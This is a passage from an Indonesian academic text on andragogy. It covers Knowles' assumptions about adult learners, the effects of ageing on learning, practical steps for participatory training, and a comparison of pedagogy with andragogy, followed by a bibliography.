a.    Konsep Diri: Asumsinya bahwa kesungguhan dan kematangan diri seseorang bergerak dari ketergantungan total (realita pada bayi) menuju ke arah pengembangan diri sehingga mampu untuk mengarahkan dirinya sendiri dan mandiri. Dengan kata lain dapat dikatakan bahwa secara umum konsep diri anak-anak masih tergantung sedangkan pada orang dewasa konsep dirinya sudah mandiri. Karena kemandirian inilah orang dewasa membutuhkan memperoleh penghargaan orang lain sebagai manusia yang mampu menentukan dirinya sendiri (Self Determination), mampu mengarahkan dirinya sendiri (Self Direction). Apabila orang dewasa tidak menemukan dan menghadapi situasi dan kondisi yang memungkinkan timbulnya penentuan diri sendiri dalam suatu pelatihan, maka akan menimbulkan penolakan atau reaksi yang kurang menyenangkan. Orang dewasa juga mempunyai kebutuhan psikologis yang dalam agar secara umum menjadi mandiri, meskipun dalam situasi tertentu boleh jadi ada ketergantungan yang sifatnya sementara.
Hal ini menimbulkan implikasi dalam pelaksanaan praktek pelatihan, khususnya yang berkaitan dengan iklim dan suasana pembelajaran dan diagnosa kebutuhan serta proses perencanaan pelatihan.
b.    Peranan Pengalaman: Asumsinya adalah bahwa sesuai dengan perjalanan waktu seorang individu tumbuh dan berkembang menuju ke arah kematangan. Dalam perjalanannya, seorang individu mengalami dan mengumpulkan berbagai pengalaman pahit-getirnya kehidupan, dimana hal ini menjadikan seorang individu sebagai sumber belajar yang demikian kaya, dan pada saat yang bersamaan individu tersebut memberikan dasar yang luas untuk belajar dan memperoleh pengalaman baru. Oleh sebab itu, dalam teknologi pelatihan atau pembelajaran orang dewasa, terjadi penurunan penggunaan teknik transmittal seperti yang dipergunakan dalam pelatihan konvensional dan menjadi lebih mengembangkan teknik yang bertumpu pada pengalaman. Dalam hal ini dikenal dengan "Experiential Learning Cycle" (Proses Belajar Berdasarkan Pengalaman). Hal in menimbulkan implikasi terhadap pemilihan dan penggunaan metoda dan teknik kepelatihan. Maka, dalam praktek pelatihan lebih banyak menggunakan diskusi kelompok, curah pendapat, kerja laboratori, sekolah lapang, melakukan praktek dan lain sebagainya, yang pada dasarnya berupaya untuk melibatkan peranserta atau partisipasi peserta pelatihan.
c.     Kesiapan Belajar : Asumsinya bahwa setiap individu semakin menjadi matang sesuai dengan perjalanan waktu, maka kesiapan belajar bukan ditentukan oleh kebutuhan atau paksaan akademik ataupun biologisnya, tetapi lebih banyak ditentukan oleh tuntutan perkembangan dan perubahan tugas dan peranan sosialnya. Pada seorang anak belajar karena adanya tuntutan akademik atau biologiknya. Tetapi pada orang dewasa siap belajar sesuatu karena tingkatan perkembangan mereka yang harus menghadapi dalam peranannya sebagai pekerja, orang tua atau pemimpin organisasi. Hal ini membawa implikasi terhadap materi pembelajaran dalam suatu pelatihan tertentu. Dalam hal ini tentunya materi pembelajaran perlu disesuaikan dengan kebutuhan yang sesuai dengan peranan sosialnya.
d.    Orientasi Belajar: Asumsinya yaitu bahwa pada anak orientasi belajarnya seolah-olah sudah ditentukan dan dikondisikan untuk memiliki orientasi yang berpusat pada materi pembelajaran (Subject Matter Centered Orientation). Sedangkan pada orang dewasa mempunyai kecenderungan memiliki orientasi belajar yang berpusat pada pemecahan permasalahan yang dihadapi (Problem Centered Orientation). Hal ini dikarenakan belajar bagi orang dewasa seolah-olah merupakan kebutuhan untuk menghadapi permasalahan yang dihadapi dalam kehidupan keseharian, terutama dalam kaitannya dengan fungsi dan peranan sosial orang dewasa. Selain itu, perbedaan asumsi ini disebabkan juga karena adanya perbedaan perspektif waktu. Bagi orang dewasa, belajar lebih bersifat untuk dapat dipergunakan atau dimanfaatkan dalam waktu segera. Sedangkan anak, penerapan apa yang dipelajari masih menunggu waktu hingga dia lulus dan sebagainya. Sehingga ada kecenderungan pada anak, bahwa belajar hanya sekedar untuk dapat lulus ujian dan memperoleh sekolah yang lebih tinggi. Hal ini menimbulkan implikasi terhadap sifat materi pembelajaran atau pelatihan bagi orang dewasa, yaitu bahwa materi tersebut hendaknya bersifat praktis dan dapat segera diterapkan di dalam kenyataan sehari-hari.
4.     Andragogi dan Psikologi Perkembangan
Seperti telah disebutkan di atas bahwa dalam diri orang dewasa sebagai siswa yang sudah tumbuh kematangan konsep dirinya timbul kebutuhan psikologi yang mendalam yaitu keinginan dipandang dan diperlakukan orang lain sebagai pribadi utuh yang mengarahkan dirinya sendiri. Namun, tidak hanya orang dewasa tetapi juga pemuda atau remaja juga memiliki kebutuhan semacam itu. Sesuai teori Peaget (1959) mengenai perkembangan psikologi dari kurang lebih 12 tahun ke atas individu sudah dapat berfikir dalam bentuk dewasa yaitu dalam istilah dia sudah mencapai perkembangan pikir formal operation. Dalam tingkatan perkembangan ini individu sudah dapat memecahkan segala persoalan secara logik, berfikir secara ilmiah, dapat memecahkan masalah-masalah verbal yang kompleks atau secara singkat sudah tercapai kematangan struktur kognitifnya. Dalam periode ini individu mulai mengembangkan pengertian akan diri (self) atau identitas (identitiy) yang dapat dikonsepsikan terpisah dari dunia luar di sekitarnya. Berbeda dengan anak-anak, di sini remaja (adolescence) tidak hanya dapat mengerti keadaan benda-benda di dekatnya tetapi juga kemungkinan keadaan benda-benda itu di duga. Dalam masalah nilai-nilai remaja mulai mempertanyakan dan membanding-bandingkan. Nilai-nilai yang diharapkan selalu dibandingkan dengan nilai yang aktual. Secara singkat dapat dikatakan remaja adalah tingkatan kehidupan dimana proses semacam itu terjadi, dan ini berjalan terus sampai mencapai kematangan.
Dengan begitu jelaslah kiranya bahwa pemuda (tidak hanya orang dewasa) memiliki kemampuan memikirkan dirinya sendiri, dan menyadari bahwa terdapat keadaan yang bertentangan antara nilai-nilai yang dianut dan tingkah laku orang lain. Oleh karena itu, dapat dikatakan sejak pertengaham masa remaja individu mengembangkan apa yang dikatakan "pengertian diri" (sense of identity).
Pembelajaran yang diberikan kepada orang dewasa dapat efektif (lebih cepat dan melekat pada ingatannya), bilamana pembimbing (pelatih, pengajar, penatar, instruktur, dan sejenisnya) tidak terlalu mendominasi kelompok kelas, mengurangi banyak bicara, namun mengupayakan agar individu orang dewasa itu mampu menemukan alternatif-alternatif untuk mengembangkan kepribadian mereka. Seorang pembimbing yang baik harus berupaya untuk banyak mendengarkan dan menerima gagasan seseorang, kemudian menilai dan menjawab pertanyaan yang diajukan mereka. Orang dewasa pada hakikatnya adalah makhluk yang kreatif bilamana seseorang mampu menggerakkan/menggali potensi yang ada dalam diri mereka. Dalam upaya ini, diperlukan keterampilan dan kiat khusus yang dapat digunakan dalam pembelajaran tersebut. Di samping itu, orang dewasa dapat dibelajarkan lebih aktif apabila mereka merasa ikut dilibatkan dalam aktivitas pembelajaran, terutama apabila mereka dilibatkan memberi sumbangan pikiran dan gagasan yang membuat mereka merasa berharga dan memiliki harga diri di depan sesama temannya. Artinya, orang dewasa akan belajar lebih baik apabila pendapat pribadinya dihormati, dan akan lebih senang kalau ia boleh sumbang saran pemikiran dan mengemukakan ide pikirannya, daripada pembimbing melulu menjejalkan teori dan gagasannya sendiri kepada mereka.
Oleh karena sifat belajar bagi orang dewasa adalah bersifat subjektif dan unik, maka terlepas dari benar atau salahnya, segala pendapat, perasaan, pikiran, gagasan, teori, sistem nilainya perlu dihargai. Tidak menghargai (meremehkan dan menyampingkan) harga diri mereka, hanya akan mematikan gairah belajar orang dewasa. Namun demikian, pembelajaran orang dewasa perlu pula mendapatkan kepercayaan dari pembimbingnya, dan pada akhirnya mereka harus mempunyai kepercayaan pada dirinya sendiri. Tanpa kepercayaan diri tersebut, maka suasana belajar yang kondusif tak akan pernah terwujud.
Orang dewasa memiliki sistem nilai yang berbeda, mempunyai pendapat dan pendirian yang berbeda. Dengan terciptanya suasana yang baik, mereka akan dapat mengemukakan isi hati dan isi pikirannya tanpa rasa takut dan cemas, walaupun mereka saling berbeda pendapat. Orang dewasa mestinya memiliki perasaan bahwa dalam suasana/ situasi belajar yang bagaimanapun, mereka boleh berbeda pendapat dan boleh berbuat salah tanpa dirinya terancam oleh sesuatu sanksi (dipermalukan, pemecatan, cemoohan, dll).
Keterbukaan seorang pembimbing sangat membantu bagi kemajuan orang dewasa dalam mengembangkan potensi pribadinya di dalam kelas, atau di tempat pelatihan. Sifat keterbukaan untuk mengungkapkan diri, dan terbuka untuk mendengarkan gagasan, akan berdampak baik bagi kesehatan psikologis, dan psikis mereka. Di samping itu, harus dihindari segala bentuk akibat yang membuat orang dewasa mendapat ejekan, hinaan, atau dipermalukan. Jalan terbaik hanyalah diciptakannya suasana keterbukaan dalam segala hal, sehingga berbagai alternatif kebebasan mengemukakan ide/gagasan dapat diciptakan.
Dalam hal lainnya, tidak dapat dinafikkan bahwa orang dewasa belajar secara khas dan unik. Faktor tingkat kecerdasan, kepercayaan diri, dan perasaan yang terkendali harus diakui sebagai hak pribadi yang khas sehingga keputusan yang diambil tidak harus selalu sama dengan pribadi orang lain. Kebersamaan dalam kelompok tidak selalu harus sama dalam pribadi, sebab akan sangat membosankan kalau saja suasana yang seakan hanya mengakui satu kebenaran tanpa adanya kritik yang memperlihatkan perbedaan tersebut. Oleh sebab itu, latar belakang pendidikan, latar belakang kebudayaan, dan pengalaman masa lampau masing-masing individu dapat memberi warna yang berbeda pada setiap keputusan yang diambil.
Bagi orang dewasa, terciptanya suasana belajar yang kondusif merupakan suatu fasilitas yang mendorong mereka mau mencoba perilaku baru, berani tampil beda, dapat berlaku dengan sikap baru dan mau mencoba pengetahuan baru yang mereka peroleh. Walaupun sesuatu yang baru mengandung resiko terjadinya kesalahan, namun kesalahan, dan kekeliruan itu sendiri merupakan bagian yang wajar dari belajar.
Pada akhirnya, orang dewasa ingin tahu apa arti dirinya dalam kelompok belajar itu. Bagi orang dewasa ada kecenderungan ingin mengetahui kekuatan dan kelemahan dirinya. Dengan demikian, diperlukan adanya evaluasi bersama oleh seluruh anggota kelompok dirasakannya berharga untuk bahan renungan, di mana renungan itu dapat mengevaluasi dirinya dari orang lain yang persepsinya bisa saja memiliki perbedaan.

5.      Pengaruh Penurunan Faktor Fisik dalam Belajar
Proses belajar manusia berlangsung hingga ahkir hayat (long life education). Namun, ada korelasi negatif antara pertambahan usia dengan kemampuan belajar orang dewasa. Artinya, setiap individu orang dewasa, makin bertambah usianya, akan semakin sukar baginya belajar (karena semua aspek kemampuan fisiknya semakin menurun). Misalnya daya ingat, kekuatan fisik, kemampuan menalar, kemampuan berkonsentrasi, dan lain-lain semuanya memperlihatkan penurunannya sesuai pertambahan usianya pula. Menurut Lunandi (1987), kemajuan pesat dan perkembangan berarti tidak diperoleh dengan menantikan pengalaman melintasi hidup saja. Kemajuan yang seimbang dengan perkembangan zaman harus dicari melalui pendidikan. Menurut Verner dan Davidson dalam Lunandi (1987) ada enam faktor yang secara psikologis dapat menghambat keikutsertaan orang dewasa dalam suatu program pendidikan:
a.      Dengan bertambahnya usia, titik dekat penglihatan atau titik terdekat yang dapat dilihat secara jelas mulai bergerak makin jauh. Pada usia dua puluh tahun seseorang dapat melihat jelas suatu benda pada jarak 10 cm dari matanya. Sekitar usia empat puluh tahun titik dekat penglihatan itu sudah menjauh sampai 23 cm.
b.      Dengan bertambahnya usia, titik jauh penglihatan atau titik terjauh yang dapat dilihat secara jelas mulai berkurang, yakni makin pendek. Kedua faktor ini perlu diperhatikan dalam pengadaan dan pengunaan bahan dan alat pendidikan.
c.      Makin bertambah usia, makin besar pula jumlah penerangan yang diperlukan dalam suatu situasi belajar. Kalau seseorang pada usia 20 tahun memerlukan 100 Watt cahaya, maka pada usia 40 tahun diperlukan 145 Watt, dan pada usia 70 tahun seterang 300 Watt baru cukup untuk dapat melihat dengan jelas.
d.      Makin bertambah usia, persepsi kontras warna cenderung ke arah merah daripada spektrum. Hal ini disebabkan oleh menguningnya kornea atau lensa mata, sehingga cahaya yang masuk agak terasing. Akibatnya ialah kurang dapat dibedakannya warna-warna-warna lembut. Untuk jelasnya perlu digunakan warna-warna cerah yang kontras utuk alat-alat peraga.
e.      Pendengaran atau kemampuan menerima suara mengurang dengan bertambahnya usia. Pada umumnya seseorang mengalami kemunduran dalam kemampuannya membedakan nada secara tajam pada tiap dasawarsa dalam hidupnya. Pria cenderung lebih cepat mundur dalam hal ini daripada wanita. Hanya 11 persen dari orang berusia 20 tahun yang mengalami kurang pendengaran. Sampai 51 persen dari orang yang berusia 70 tahun ditemukan mengalami kurang pendengaran.
f.       Pembedaan bunyi atau kemampuan untuk membedakan bunyi makin mengurang dengan bertambahnya usia. Dengan demikian, bicara orang lain yang terlalu cepat makin sukar ditangkapnya, dan bunyi sampingan dan suara di latar belakangnya bagai menyatu dengan bicara orang. Makin sukar pula membedakan bunyi konsonan seperti t, g, b, c, dan d.

6.      Langkah-Langkah Pokok dalam Andragogi
Langkah-langkah pokok untuk mempraktikkan Andragogi adalah sebagai berikut:
a.      Menciptakan Iklim Pembelajaran yang Kondusif: Ada beberapa hal pokok yang dapat dilakukan dalam upaya menciptakan dan mengembangkan iklim dan suasana yang kondusif untuk proses pembelajaran, yaitu:
1)     Pengaturan Lingkungan Fisik: Pengaturan lingkungan fisik merupakan salah satu unsur dimana orang dewasa merasa terbiasa, aman, nyaman dan mudah. Untuk itu perlu dibuat senyaman mungkin:
a)     Penataan dan peralatan hendaknya disesuaikan dengan kondisi orang dewasa;
b)     Alat peraga dengar dan lihat yang dipergunakan hendaknya disesuaikan dengan kondisi fisik orang dewasa;
c)     Penataan ruangan, pengaturan meja, kursi dan peralatan lainnya hendaknya memungkinkan terjadinya interaksi social.
2)     Pengaturan Lingkungan Sosial dan Psikologi: Iklim psikologis hendaknya merupakan salah satu faktor yang membuat orang dewasa merasa diterima, dihargai dan didukung.
a)     Fasilitator lebih bersifat membantu dan mendukung;
b)     Mengembangkan suasana bersahabat, informal dan santai melalui kegiatan Bina Suasana dan berbagai permainan yang sesuai;
c)     Menciptakan suasana demokratis dan kebebasan untuk menyatakan pendapat tanpa rasa takut;
d)     Mengembangkan semangat kebersamaan;
e)     Menghindari adanya pengarahan dari "pejabat-pejabat" pemerintah;
f)       Menyusun kontrak belajar yang disepakati bersama.
3)     Diagnosis Kebutuhan Belajar: Dalam andragogi tekanan lebih banyak diberikan pada keterlibatan seluruh warga belajar atau peserta pelatihan di dalam suatu proses melakukan diagnosis kebutuhan belajarnya:
a)     Melibatkan seluruh pihak terkait (stakeholder) terutama pihak yang terkena dampak langsung atas kegiatan itu;
b)     Membangun dan mengembangkan suatu model kompetensi atau prestasi ideal yang diharapkan;
c)     Menyediakan berbagai pengalaman yang dibutuhkan;
d)     Lakukan perbandingan antara yang diharapkan dengan kenyataan yang ada, misalkan kompetensi tertentu.

4)     Proses Perencanaan: Dalam perencanaan pelatihan hendaknya melibatkan semua pihak terkait, terutama yang akan terkena dampak langsung atas kegiatan pelatihan tersebut. Tampaknya ada suatu "hukum" atau setidak tidaknya suatu kecenderungan dari sifat manusia bahwa mereka akan merasa 'committed' terhadap suatu keputusan apabila mereka terlibat dan berperanserta dalam pengambilan keputusan:
a)     Libatkan peserta untuk menyusun rencana pelatihan, baik yang menyangkut penentuan materi pembelajaran, penentuan waktu dan lain-lain;
b)     Temuilah dan diskusikanlah segala hal dengan berbagai pihak terkait menyangkut pelatihan tersebut;
c)     Terjemahkan kebutuhan-kebutuhan yang telah diidentifikasi ke dalam tujuan yang diharapkan dan ke dalam materi pelatihan;
d)     Tentukan pembagian tugas dan tanggung jawab yang jelas di antara pihak terkait siapa melakukan apa dan kapan.
5)     Memformulasikan Tujuan: Setelah menganalisis hasil-hasil identifikasi kebutuhan dan permasalahan yang ada, langkah selanjutnya adalah merumuskan tujuan yang disepakati bersama dalam proses perencanaan partisipatif. Dalam merumuskan tujuan hendaknya dilakukan dalam bentuk deskripsi tingkah laku yang akan dihasilkan untuk memenuhi kebutuhan tersebut di atas.
6)     Mengembangkan Model Umum: Ini merupakan aspek seni dan arsitektural dari perencanaan pelatihan dimana harus disusun secara harmonis antara beberapa kegiatan belajar seperti kegiatan diskusi kelompok besar, kelompok kecil, urutan materi dan lain sebagainya. Dalam hal ini tentu harus diperhitungkan pula kebutuhan waktu dalam membahas satu persoalan dan penetapan waktu yang sesuai.
7)     Menetapkan Materi dan Teknik Pembelajaran: Dalam menetapkan materi dan metoda atau teknik pembelajaran hendaknya memperhatikan hal-hal sebagai berikut:
a)     Materi pelatihan atau pembelajaran hendaknya ditekankan pada pengalaman-pengalaman nyata dari peserta pelatihan;
b)     Materi pelatihan hendaknya sesuai dengan kebutuhan dan berorientasi pada aplikasi praktis;
c)     Metoda dan teknik yang dipilih hendaknya menghindari teknik yang bersifat pemindahan pengetahuan dari fasilitator kepada peserta;
d)     Metoda dan teknik yang dipilih hendaknya tidak bersifat satu arah namun lebih bersifat partisipatif.
8)     Peranan Evaluasi Pendekatan: evaluasi secara konvensional (pedagogi) kurang efektif untuk diterapkan bagi orang dewasa. Untuk itu pendekatan ini tidak cocok dan tidaklah cukup untuk menilai hasil belajar orang dewasa. Ada beberapa pokok dalam melaksanakan evaluasi hasil belajar bagi orang dewasa yakni:
a)     Evaluasi hendaknya berorientasi kepada pengukuran perubahan perilaku setelah mengikuti proses pembelajaran/pelatihan;
b)     Sebaiknya evaluasi dilaksanakan melalui pengujian terhadap dan oleh peserta pelatihan itu sendiri (Self Evaluation);
c)     Perubahan positif perilaku merupakan tolok ukur keberhasilan;
d)     Ruang lingkup materi evaluasi "ditetapkan bersama secara partisipatif" atau berdasarkan kesepakatan bersama seluruh pihak terkait yang terlibat;
e)     Evaluasi ditujukan untuk menilai efektifitas dan efisiensi penyelenggaraan program pelatihan yang mencakup kekuatan maupun kelemahan program;
f)       Menilai efektifitas materi yang dibahas dalam kaitannya dengan perubahan sikap dan perilaku.

C.     Perbandingan Asumsi dan Model Pedagogi dan Andragogi
Dari uraian tersebut di atas telah diperoleh dan disimpulkan beberapa perbedaan teoritis dan asumsi yang mendasari andragogi dan pedagogi (konvensional) yang menimbulkan berbagai implikasi dalam praktek.
Dalam pedagogi atau konvensional, karena berpusat pada materi pembelajaran (Subject Matter Centered Orientation) maka implikasi yang timbul pada umumnya peranan guru, pengajar, pembuat kurikulum, evaluator sangat dominan. Pihak murid atau peserta pelatihan lebih banyak bersifat pasif dan menerima. Paulo Freire, menyebutnya sebagai "Sistem Bank" (Banking System). Hal ini dapat terlihat pada hal-hal sebagai berikut:
·         Penentuan mengenai materi pengetahuan dan ketrampilan yang perlu disampaikan yang bersifat standard dan kaku;
·         Penentuan dan pemilihan prosedur dan mekanisme serta alat yang perlu (metoda & teknik) yang paling efisien untuk menyampaikan materi pembelajaran;
·         Pengembangan rencana dan bentuk urutan (sequence) yang standard dan kaku ;
·         Adanya standard evaluasi yang baku untuk menilai tingkat pencapaian hasil belajar dan bersifat kuantitatif yang bersifat untuk mengukur tingkat pengetahuan;
·         Adanya batasan waktu yang demikian ketat dalam "menyelesaikan" suatu proses pembelajaran materi pengetahuan dan ketrampilan.
Dalam andragogi, peranan guru, pengajar atau pembimbing yang sering disebut dengan fasilitator adalah mempersiapkan perangkat atau prosedur untuk mendorong dan melibatkan secara aktif seluruh warga belajar, yang kemudian dikenal dengan pendekatan partisipatif, dalam proses belajar yang melibatkan elemen-elemen:
·         Menciptakan iklim dan suasana yang mendukung proses belajar mandiri;
·         Menciptakan mekanisme dan prosedur untuk perencanaan bersama dan partisipatif;
·         Diagnosis kebutuhan-kebutuhan belajar yang spesifik Merumuskan tujuan-tujuan program yang memenuhi kebutuhan-kebutuhan belajar
·         Merencanakan pola pengalaman belajar
·         Melakukan dan menggunakan pengalaman belajar ini dengan metoda dan teknik yang memadai
·         Mengevaluasi hasil belajar dan mendiagnosis kembali kebutuhan-kebutuhan belajar. Ini adalah model proses.
Lebih detail tentang perbedaan pedagogik dan andargogi sebagai berikut:

No
Asumsi
Pedagogik
Andragogi
1
Kosep tentang diri peserta didik
Peserta didik digambarkan sebagai seseorang yang bersifat tergantung. Masyarakat mengharapkan para guru bertanggung jawab sepenuhnya untuk menentukan apa yang harus dipelajari, kapan, bagaimanacara mempelajarinya, dan apa hasil yang diharapkan setelah selesai
Adalah suatu hal yang wajar apabila dalam suatu proses pendewasaan, seseorang akan berubah dari bersifat tergantung menuju ke arah memiliki kemampuan mengarahkan diri sendiri, namun setiap individu memiliki irama yang berbeda-beda dan juga dalam dimensi kehidupan yang berbeda-beda pula. Dan para guru bertanggungjawab untuk menggalakkan dan memelihara kelangsungan perubahan tersebut. Pada umumnya orang dewasa secara psikologis lebih memerlukan penga- rahan diri, walaupun dalam keadaan tertentu mereka bersifat tergantung.
2
Fungsi Pengalaman peserta didik
Di sini pengalaman yang dimiliki oleh peserta didik tidak besar nilainya, mungkin hanya berguna untuk titik awal. Sedangkan penglaman yang sangat besar manfaatnya adalah pengalaman-pengalaman yang diperoleh dari gurunya, para penulis, produsen alat-alat peraga atau alat-alat audio visual dan pengalaman para ahli lainnya. Oleh karenanya, teknik utama dalam pendidikan adalah teknik penyampaian yang berupa: ceramah, tugas baca, dan penyajian melalui alat pandang dengar.
Di sini ada anggapan bahwa dalam perkembangannya seseorang membuat semacam alat penampungan (reservoair) pengalaman yang kemudian akan merupakan sumber belajar yang sangat bermanfaat bagi diri sendiri mau pun bagi orang lain. Lagi pula seseorang akan menangkap arti dengan lebih baik tentang apa yang dialami daripada apabila mereka memperoleh secara pasif, oleh karena itu teknik penyampaian yang utama adalah eksperimen, percobaan-percobaan di laboratorium, diskusi, pemecahan masalah, latihan simulasi, dan praktek lapangan.
3
Kesiapan belajar
Seseorang harus siap mempelajari apapun yang dikatakan oleh masyarakat, dan hal ini menimbulkan tekanan yang cukup besar bagi mereka karena adanya perasaan takut gagal, anak-anak yang sebaya diaggap siap untuk mempelajari hal yang sama pula, oleh karena itu kegiatan belajar harus diorganisasikan dalam suatu kurikulum yang baku, dan langkah-langkah penyajian harus sama bagi semua orang.
Seseorang akan siap mempelajari sesuatu apabila ia merasakan perlunya melakukan hal tersebut, karena dengan mempelajari sesuatu itu ia dapat memecahkan masalahnya atau dapat menyelesaikan tugasnya sehari-hari dengan baik. Fungsi pendidik di sini adalah menciptakan kondisi, menyiapkan alat serta prosedur untuk membantu mereka menemukan apa yang perlu mereka ketahui. Dengan demikian program belajar harus disusun sesuai dengan kebutuhan kehidupan mereka yang sebenarnya dan urutan-urutan penyajian harus disesuaikan dengan kesiapan peserta didik.
4
Orientasi belajar
Peserta didik menyadari bahwa pendidikan adalah suatu proses penyampaian ilmu pengetahuan, dan mereka memahami bahwa ilmu-ilmu tersebut baru akan bermanfaat di kemudian hari. Oleh karena itu, kurikulum harus disusun sesuai dengan unit-unit mata pelajaran dan mengikuti urutan-urutan logis ilmu tersebut , misalnya dari kuno ke modern atau dari yang mudah ke sulit. Dengan demikian, orientasi belajar ke arah mata pelajaran. Artinya jadwal disusun berdasarkan keterselesaian nya mata-mata pelajaran yang telah ditetapkan.
Peserta didik menyadari bahwa pendidikan merupakan suatu proses peningkatan pengembangan kemampuan diri untuk mengembangkan potensi yang maksimal dalam hidupnya. Mereka ingin mampu menerapkan ilmu dan keterampilan yang diperolehnya hari ini untuk mencapai kehidupan yang lebih baik atau lebih efektif untuk hari esok. Berdasarkan hal tersebut di atas, belajar harus disusun ke arah pengelompokan pengembangan kemampuan. Dengan demikian orientasi belajar terpusat kepada kegiatannya. Dengan kata lain, cara menyusun pelajaran berdasarkan kemampuan-kemampuan apa atau penampilan yang bagaimana yang diharap kan ada pada peserta didik.
                        Sumber: Tamat (1985: hal. 20-22)

D.         Keunggulan dan Kelemahan Teori Belajar Andragogi
Kegiatan pendidikan baik melalui jalur sekolah ataupun luar sekolah memiliki daerah dan kegiatan yang beraneka ragam. Pendidikan orang dewasa terutama pendidikan masyarakat bersifat non formal sebagian besar dari siswa atau pesertanya adalah orang dewasa, atau paling tidak pemuda atau remaja. Oleh sebab itu, kegiatan pendidikan memerlukan pendekatan tersendiri. Dengan menggunakan teori andragogi kegiatan atau usaha pembelajaran orang dewasa dalam kerangka pembangunan atau realisasi pencapaian cita-cita pendidikan seumur hidup dapat diperoleh dengan dukungan konsep teoritik atau penggunaan teknologi yang dapat dipertanggung jawabkan.
Andragogy memiliki kelemahan, salah satunya adalah bahwa bagaimana mungkin seorang siswa yang tidak terlalu memahami tentang luasnya ilmu kemudian dibebaskan memilih apa yang mereka sukai? Seolah sistem Andragogy hanya sebagai suatu sistem yang mengembirakan siswanya saja dan melupakan untuk tujuan apa sebenarnya sebuah pendidikan itu dilakukan? Dan bagaimana pula bisa dilakukan -penjagaan terhadap ilmu-ilmu yang sudah ada? jika sebuah ilmu tersebut tidak diminati oleh siswa, tentu saja satu waktu ilmu tersebut akan hilang. Dan bagaimana siswa dibiarkan memilih jika ada persyaratan kemampuan yang memang mesti dimiliki seandainya siswa mau belajar ilmu tertentu. Tak mungkinlah siswa SD dibiarkan memilih mata pelaharan Integral Diferensial sebelum mereka menguasai dulu perkalian, jumlah, kurang bagi, dll.

E.     Kesimpulan
Teori Belajar Adragogi dapat diterapkan apabila diyakini bahwa peserta didik (siswa-mahasiswa-peserta) adalah pribadi-pribadi yang matang, dapat mengarahkan diri mereka sendiri, mengerti diri sendiri, dapat mengambil keputusan untuk sesuatu yang menyangkut dirinya. Andragogi tidak akan mungkin berkembang apabila meninggalkan ideal dasar orang dewasa sebagai pribadi yang mengarahkan diri sendiri. Yang menjadi tolok ukur sebuah kedewasaan bukanlah umur, namun sikap dan perilaku, sebab tidak jarang orang yang sudah berumur, namun belum dewasa. Memang, menjadi tua adalah suatu keharusan dan menjadi dewasa adalah sebuah pilihan yang tidak setiap individu memilihnya seiring dengan semakin lanjut usianya.


F.     Daftar Bacaan
Arif, Zainuddin. (1994). Andragogi. Bandung: Angkasa.
Asmin, Konsep dan Metode Pembelajaran Untuk Orang Dewasa (Andragogi), http://www.depdiknas.go.id/Jurnal/34/konsep_dan_metode_pembelajaran.htm, Diakses tanggal 11 November 2006.
Knowles, Malcolm S. (1970). "The modern practicsof adult education, andragogy versus ". New York : Association Press.
Lunandi, A, G. (1987). Pendidikan orang dewasa. Jakarta: Gramedia.
Piaget, J. (1959). "The growth of logical thinking from childood fo adolescence. New York : Basic Books.
M. Thoyib. (2006). Memfasilitasi Pelatihan Partisipatif (Pengantar Pendidikan Orang Dewasa), http://depsos.go.id/modules.php?name=News&file =print&sid=209, diakses tanggal 11 November 2006.
Tamat, Tisnowati. (1984). Dari Pedagogik ke Andragogik. Jakarta: Pustaka Dian.